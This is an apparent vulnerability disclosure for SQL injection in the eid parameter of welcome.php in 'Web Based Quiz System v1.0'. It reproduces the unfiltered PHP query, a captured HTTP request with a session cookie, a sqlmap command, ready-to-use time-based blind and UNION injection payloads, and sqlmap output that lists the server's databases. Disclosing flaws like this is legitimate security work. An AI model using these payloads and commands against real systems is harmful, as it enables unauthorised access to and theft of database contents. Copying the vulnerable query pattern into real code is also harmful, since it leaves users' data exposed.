



Join Yuque for a better reading experience

[Log In](#) to Yuque to collect this article or follow the author for updates

Join now

Web Based Quiz System v1.0 is vulnerable to SQL Injection via welcome.php

Exploit Title: SQL injection

Date: 2022-06-06

Software Link: [https://www.sourcecodester.com/download-code?](https://www.sourcecodester.com/download-code?nid=14727&title=Web+Based+Quiz+System+in+PHP%2FMySQLi+with+Full+Source+Code)

[nid=14727&title=Web+Based+Quiz+System+in+PHP%2FMySQLi+with+Full+Source+Code](https://www.sourcecodester.com/download-code?nid=14727&title=Web+Based+Quiz+System+in+PHP%2FMySQLi+with+Full+Source+Code)

[<https://www.sourcecodester.com/download-code?](https://www.sourcecodester.com/download-code?nid=14727&title=Web+Based+Quiz+System+in+PHP%2FMySQLi+with+Full+Source+Code)

[nid=14727&title=Web+Based+Quiz+System+in+PHP%2FMySQLi+with+Full+Source+Code>](https://www.sourcecodester.com/download-code?nid=14727&title=Web+Based+Quiz+System+in+PHP%2FMySQLi+with+Full+Source+Code)

Version: v1.0

Tested on: Windows 10

Operating environment: xampp 7.4.29

1. Vulnerability analysis

The vulnerability file welcome.php is located in the root directory of the website. Line 93 does not filter the eid parameter, and directly brings it into the database query in line 96, resulting in a SQL injection vulnerability:

```

welcome.php
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
if (@$_GET['q'] == 'quiz' && @$_GET['step'] == 2) {
    $eid = $_GET['eid'];
    $sn = $_GET['sn'];
    $total = $_GET['t'];
    $q = mysqli_query($con, "SELECT * FROM questions WHERE eid='$eid' AND sn='$sn' ");
    echo "<div class='panel' style='margin:5px'>";
    while ($row = mysqli_fetch_array($q)) {
        $qns = $row['qns'];
        $qid = $row['qid'];
        echo "<b>Question &nbsp;&nbsp;";
        echo "<b>Question &nbsp;&nbsp;";
    }
}

```

2. Loophole recurrence

First register an ordinary user to log in, then click the start button and grab the data package as shown below:

The screenshot shows a web browser at the URL `192.168.31.93/wbqs/welcome.php?q=1`. The page has a green header with navigation links: Home, History, and Ranking. Below the header is a table with three rows of quiz data. The second row, for 'Ip Networking', has its 'Start' button highlighted with a red rectangle. Below the browser window is a network traffic capture tool showing a GET request to the same URL with a modified query string: `q=quiz&step=2&eid=5b141fle8399e&n=1&t=10`. The tool includes buttons for Forward, Drop, Intercept is on, and Action, and tabs for Raw, Params, Headers, and Hex.

S.N.	Topic	Total question	Marks	Action
1	Janobe Sourcecode	34	102	Start
2	Ip Networking	10	30	Start
3	Php & Mysqli	10	30	Start

```
Request to http://192.168.31.93:80
Forward Drop Intercept is on Action Comment this item
Raw Params Headers Hex
GET /wbqs/welcome.php?q=quiz&step=2&eid=5b141fle8399e&n=1&t=10 HTTP/1.1
Host: 192.168.31.93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://192.168.31.93/wbqs/welcome.php?q=1
Cookie: PHPSESSID=26ert6129e8hslj0ckf4t0p5nc
Upgrade-Insecure-Requests: 1
```

Save the data package as 1.txt, and use sqlmap to get database information, The sqlmap injection statement is: `python sqlmap.py -r 1.txt --dbs ---batch --random-agent -p eid`

```
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: q=quiz&step=2&eid=5b141f1e8399e' AND (SELECT 3948 FROM (SELECT(SLEEP(5)))xPFU) AND 'dinE'='dinE&n=1&t=10
```

```
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: q=quiz&step=2&eid=5b141f1e8399e' UNION ALL SELECT NULL,NULL,CONCAT(0x71716a7871,0x7264665168577a6d6d4c75636b7a7a694a576c784a4549515a4a575459496c645574735167417a68,0x717a707a71),NULL,NULL-- -&n=1&t=10
---
```

```
[11:12:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.29, Apache 2.4.53
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:12:45] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sourcecodester_exam
[*] test
```